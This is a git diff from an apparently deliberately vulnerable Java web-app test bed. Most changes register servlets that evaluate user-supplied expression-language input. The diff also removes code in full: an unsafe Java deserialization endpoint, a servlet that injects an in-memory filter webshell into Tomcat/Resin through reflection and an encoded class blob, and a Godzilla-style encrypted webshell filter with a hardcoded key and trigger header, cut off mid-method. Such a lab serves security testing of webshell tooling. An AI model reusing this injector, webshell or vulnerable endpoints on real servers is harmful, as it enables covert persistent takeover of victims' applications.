     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/JXPathServlet.java

@@ -1,6 +1,7 @@
 import org.apache.commons.jxpath.JXPathContext;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -10,6 +11,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/jxpath")
 public class JXPathServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/JavaReadObjServlet.java

@@ -1,38 +0,0 @@
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServlet;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import java.io.ByteArrayInputStream;
-import java.io.IOException;
-import java.io.ObjectInputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/10
- */
-public class JavaReadObjServlet extends HttpServlet {
-    byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        }
-    }
-
-    @Override
-    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
-        try {
-            String data = req.getParameter("data");
-            ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data));
-            ObjectInputStream bis = new ObjectInputStream(inputStream);
-            bis.readObject();
-            bis.close();
-        } catch (Exception ignored) {
-
-        }
-    }
-}

vul/vul-webapp-expression/src/main/java/JinJavaServlet.java

@@ -2,6 +2,7 @@ import com.google.common.collect.Maps;
 import com.hubspot.jinjava.Jinjava;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -12,6 +13,7 @@ import java.util.Map;
  * @author ReaJason
  * @since 2025/1/30
  */
+@WebServlet("/jinjava")
 public class JinJavaServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/MVELServlet.java

@@ -1,6 +1,7 @@
 import org.mvel2.MVEL;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -10,6 +11,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/mvel")
 public class MVELServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/OgnlServlet.java

@@ -3,6 +3,7 @@ import ognl.OgnlContext;
 import ognl.OgnlException;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -12,6 +13,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/ognl")
 public class OgnlServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/RhinoServlet.java

@@ -2,6 +2,7 @@ import org.mozilla.javascript.Context;
 import org.mozilla.javascript.Scriptable;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -11,6 +12,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2025/1/30
  */
+@WebServlet("/rhino")
 public class RhinoServlet extends HttpServlet {
 
     @Override

vul/vul-webapp-expression/src/main/java/ScriptEngineServlet.java

@@ -1,6 +1,7 @@
 import javax.script.ScriptEngineManager;
 import javax.script.ScriptException;
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -10,6 +11,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/3
  */
+@WebServlet("/js")
 public class ScriptEngineServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/SpELServlet.java

@@ -1,6 +1,7 @@
 import org.springframework.expression.spel.standard.SpelExpressionParser;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -10,6 +11,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/spel")
 public class SpELServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/TestServlet.java

@@ -1,266 +1,20 @@
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
 import java.io.IOException;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.*;
-import java.util.zip.GZIPInputStream;
 
 /**
  * @author ReaJason
  * @since 2024/12/7
  */
+@WebServlet("/test")
 public class TestServlet extends HttpServlet {
 
-    static Object getFV(Object obj, String fieldName) throws Exception {
-        try {
-            Field field = getF(obj, fieldName);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (Exception var3) {
-            return null;
-        }
-    }
-
-    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
-        for (Class<?> clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {
-            try {
-                Field field = clazz.getDeclaredField(fieldName);
-                field.setAccessible(true);
-                return field;
-            } catch (NoSuchFieldException var3) {
-            }
-        }
-
-        throw new NoSuchFieldException(fieldName);
-    }
-
-    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
-        Field field = getF(obj, fieldName);
-        field.set(obj, value);
-    }
-
-    static byte[] decodeBase64(String base64Str) throws Exception {
-        try {
-            Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        } catch (Exception var4) {
-            Class<?> decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        }
-    }
-
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
-        GZIPInputStream gzipInputStream = new GZIPInputStream(in);
-        byte[] buffer = new byte[256];
-
-        int n;
-        while ((n = gzipInputStream.read(buffer)) >= 0) {
-            out.write(buffer, 0, n);
-        }
-
-        return out.toByteArray();
-    }
-
-    public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
-        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
-    }
-
-    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        Method method = null;
-
-        Class<?> tempClass = clazz;
-        while (method == null && tempClass != null) {
-            try {
-                if (paramClazz == null) {
-                    // Get all declared methods of the class
-                    Method[] methods = tempClass.getDeclaredMethods();
-                    for (Method value : methods) {
-                        if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
-                            method = value;
-                            break;
-                        }
-                    }
-                } else {
-                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
-                }
-            } catch (NoSuchMethodException e) {
-                tempClass = tempClass.getSuperclass();
-            }
-        }
-        if (method == null) {
-            throw new NoSuchMethodException(methodName);
-        }
-        method.setAccessible(true);
-        if (obj instanceof Class) {
-            try {
-                return method.invoke(null, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        } else {
-            try {
-                return method.invoke(obj, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        }
-    }
-
-    public String getUrlPattern() {
-        return "/*";
-    }
-
-    public String getClassName() {
-        return "com.google.gso.sLUOL.ErrorHandler";
-    }
-
-    public String getBase64String() {
-        return "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";
-    }
-
-    public void addListener(Object context, Object listener) throws Exception {
-        if (!this.isInjected(context, this.getClassName())) {
-            String filedName = "applicationEventListenersObjects";
-            Object applicationEventListenersObjects = getFV(context, filedName);
-            if (applicationEventListenersObjects == null) {
-                filedName = "applicationEventListenersInstances";
-                applicationEventListenersObjects = getFV(context, filedName);
-            }
-            if (applicationEventListenersObjects != null) {
-                Object[] appListeners = (Object[]) applicationEventListenersObjects;
-                if (appListeners != null) {
-                    List appListenerList = new ArrayList(Arrays.asList(appListeners));
-                    appListenerList.add(listener);
-                    setFieldValue(context, filedName, appListenerList.toArray());
-                }
-            } else if (getFV(context, "applicationEventListenersList") != null) {
-                List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
-                if (appListeners != null) {
-                    appListeners.add(listener);
-                }
-            }
-        }
-    }
-
-    public boolean isInjected(Object context, String evilClassName) throws Exception {
-        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
-        List listeners = Arrays.asList(objects);
-
-        for (Object o : new ArrayList(listeners)) {
-            if (o.getClass().getName().contains(evilClassName)) {
-                return true;
-            }
-        }
-
-        return false;
-    }
-
-    public List<Object> getContext() {
-        List<Object> contexts = new ArrayList();
-        Set<Object> visited = new HashSet();
-
-        try {
-            Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
-            for (Thread thread : threads) {
-                if (thread.getClass().getName().contains("Resin")) {
-                    Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
-                    Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
-                    Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
-                    if (webApp != null && visited.add(webApp)) {
-                        contexts.add(webApp);
-                    }
-                }
-            }
-        } catch (Exception e) {
-            // Handle exception
-        }
-        return contexts;
-
-    }
-
-    private Object getFilter(Object context) {
-        Object filter = null;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-
-        try {
-            filter = classLoader.loadClass(this.getClassName());
-        } catch (Exception var9) {
-            try {
-                byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
-                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
-                defineClass.setAccessible(true);
-                Class<?> clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                filter = clazz.newInstance();
-            } catch (Throwable e1) {
-                e1.printStackTrace();
-            }
-        }
-
-        return filter;
-    }
-
-    public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
-        String filterClassName = this.getClassName();
-
-        try {
-            if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
-                return;
-            }
-        } catch (Exception var10) {
-        }
-
-        Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
-        Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
-
-        try {
-            invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
-            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
-            invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
-            invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
-            invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
-            invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
-            Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
-
-            try {
-                invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-            } catch (Exception var9) {
-                invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-            }
-
-            constructors[0].setAccessible(true);
-
-            try {
-                Object filterConfig = constructors[0].newInstance(context, filterDef);
-                Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs");
-                filterConfigs.put(filterClassName, filterConfig);
-            } catch (Exception e) {
-                if (!(e.getCause() instanceof ClassNotFoundException)) {
-                    throw e;
-                }
-            }
-        } catch (Exception var12) {
-        }
-
-    }
-
     @Override
     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
-        List<Object> context = getContext();
+
-        System.out.println(context.size());
     }
 
     @Override
@@ -268,23 +22,4 @@ public class TestServlet extends HttpServlet {
 
     }
 
-    @SuppressWarnings("all")
-    public Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }

vul/vul-webapp-expression/src/main/java/UploadServlet.java

@@ -3,6 +3,7 @@ import org.apache.commons.fileupload.disk.DiskFileItemFactory;
 import org.apache.commons.fileupload.servlet.ServletFileUpload;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -14,6 +15,7 @@ import java.util.List;
  * @author ReaJason
  * @since 2024/11/26
  */
+@WebServlet("/upload")
 public class UploadServlet extends HttpServlet {
 
     private static final String TEMP_DIRECTORY = "/tmp";

vul/vul-webapp-expression/src/main/java/VelocityServlet.java

@@ -2,6 +2,7 @@ import org.apache.velocity.VelocityContext;
 import org.apache.velocity.app.Velocity;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -12,6 +13,7 @@ import java.io.StringWriter;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/velocity")
 public class VelocityServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml

@@ -1,189 +1,9 @@
-<?xml version="1.0" encoding="UTF-8"?>
+<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
-<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
+         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
-         id="WebApp_ID" version="2.5">
+		 http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
+         version="3.1">
     <welcome-file-list>
         <welcome-file>index.html</welcome-file>
     </welcome-file-list>
-
-    <servlet>
-        <servlet-name>test</servlet-name>
-        <servlet-class>TestServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>test</servlet-name>
-        <url-pattern>/test</url-pattern>
-    </servlet-mapping>
-
-    <!-- 用于 JSP 文件上传-->
-    <servlet>
-        <servlet-name>upload</servlet-name>
-        <servlet-class>UploadServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>upload</servlet-name>
-        <url-pattern>/upload</url-pattern>
-    </servlet-mapping>
-
-    <!-- 用于脚本引擎执行 JS -->
-    <servlet>
-        <servlet-name>js</servlet-name>
-        <servlet-class>ScriptEngineServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>js</servlet-name>
-        <url-pattern>/js</url-pattern>
-    </servlet-mapping>
-
-    <!-- 用于测试 Java 反序列化 -->
-    <servlet>
-        <servlet-name>java-deserialize</servlet-name>
-        <servlet-class>JavaReadObjServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>java-deserialize</servlet-name>
-        <url-pattern>/java_deserialize</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>el</servlet-name>
-        <servlet-class>ELServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>el</servlet-name>
-        <url-pattern>/el</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>SpEL</servlet-name>
-        <servlet-class>SpELServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>SpEL</servlet-name>
-        <url-pattern>/spel</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>ognl</servlet-name>
-        <servlet-class>OgnlServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>ognl</servlet-name>
-        <url-pattern>/ognl</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>mvel</servlet-name>
-        <servlet-class>MVELServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>mvel</servlet-name>
-        <url-pattern>/mvel</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>groovy</servlet-name>
-        <servlet-class>GroovyServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>groovy</servlet-name>
-        <url-pattern>/groovy</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>jexl2</servlet-name>
-        <servlet-class>JEXL2Servlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>jexl2</servlet-name>
-        <url-pattern>/jexl2</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>jexl3</servlet-name>
-        <servlet-class>JEXL3Servlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>jexl3</servlet-name>
-        <url-pattern>/jexl3</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>jxpath</servlet-name>
-        <servlet-class>JXPathServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>jxpath</servlet-name>
-        <url-pattern>/jxpath</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>aviator</servlet-name>
-        <servlet-class>AviatorServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>aviator</servlet-name>
-        <url-pattern>/aviator</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>bsh</servlet-name>
-        <servlet-class>BeanShellServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>bsh</servlet-name>
-        <url-pattern>/bsh</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>rhino</servlet-name>
-        <servlet-class>RhinoServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>rhino</servlet-name>
-        <url-pattern>/rhino</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>jinjava</servlet-name>
-        <servlet-class>JinJavaServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>jinjava</servlet-name>
-        <url-pattern>/jinjava</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>velocity</servlet-name>
-        <servlet-class>VelocityServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>velocity</servlet-name>
-        <url-pattern>/velocity</url-pattern>
-    </servlet-mapping>
-
-    <servlet>
-        <servlet-name>freemarker</servlet-name>
-        <servlet-class>FreemarkerServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>freemarker</servlet-name>
-        <url-pattern>/freemarker</url-pattern>
-    </servlet-mapping>
-
-
-    <!-- 测试 listener 内存马 -->
-    <!--    <listener>-->
-    <!--        <listener-class>ErrorListener</listener-class>-->
-    <!--    </listener>-->
-
-    <!-- 测试 filter 内存马 -->
-    <!--    <filter>-->
-    <!--        <filter-name>godzilla</filter-name>-->
-    <!--        <filter-class>ErrorHandler</filter-class>-->
-    <!--    </filter>-->
-    <!--    <filter-mapping>-->
-    <!--        <filter-name>godzilla</filter-name>-->
-    <!--        <url-pattern>/test_filter</url-pattern>-->
-    <!--    </filter-mapping>-->
 </web-app>

vul/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java

@@ -1,147 +0,0 @@
-package jakarta;
-
-import jakarta.servlet.*;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import jakarta.servlet.http.HttpSession;
-
-import javax.crypto.Cipher;
-import javax.crypto.spec.SecretKeySpec;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-
-public class ErrorHandler extends ClassLoader implements Filter {
-    public static boolean isBypassModule;
-
-    static {
-        byPassJdkModule();
-    }
-
-    public String key = "7b74f5d44e20fd71";
-    public String pass = "passFilter";
-    public String md5 = "6DA9A394180B0155C7CC6714A0B2179E";
-    public String headerName = "User-Agent";
-    public String headerValue = "test";
-
-    public ErrorHandler() {
-    }
-
-    public ErrorHandler(ClassLoader var1) {
-        super(var1);
-    }
-
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-
-        try {
-            Class<?> base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var61) {
-            try {
-                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-
-        return value;
-    }
-
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-
-        try {
-            Class<?> base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var61) {
-            try {
-                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-
-        return value;
-    }
-
-    public static Object byPassJdkModule() {
-        Boolean var0 = false;
-
-        try {
-            Class var1 = Class.forName("sun.misc.Unsafe");
-            Field var2 = var1.getDeclaredField("theUnsafe");
-            var2.setAccessible(true);
-            Object var3 = var2.get((Object) null);
-            Method var4 = Class.class.getMethod("getModule");
-            Object var5 = var4.invoke(Object.class, (Object[]) null);
-            Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
-            Field var7 = Class.class.getDeclaredField("module");
-            Long var8 = (Long) var6.invoke(var3, var7);
-            Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
-            var9.invoke(var3, ErrorHandler.class, var8, var5);
-            var0 = true;
-        } catch (Exception var10) {
-        }
-
-        return var0;
-    }
-
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var41) {
-            return null;
-        }
-    }
-
-    @Override
-    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
-        HttpServletRequest request = (HttpServletRequest) servletRequest;
-        HttpServletResponse response = (HttpServletResponse) servletResponse;
-
-        try {
-            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
-                HttpSession session = request.getSession();
-                byte[] data = base64Decode(request.getParameter(this.pass));
-                data = this.x(data, false);
-                if (session.getAttribute("payload") == null) {
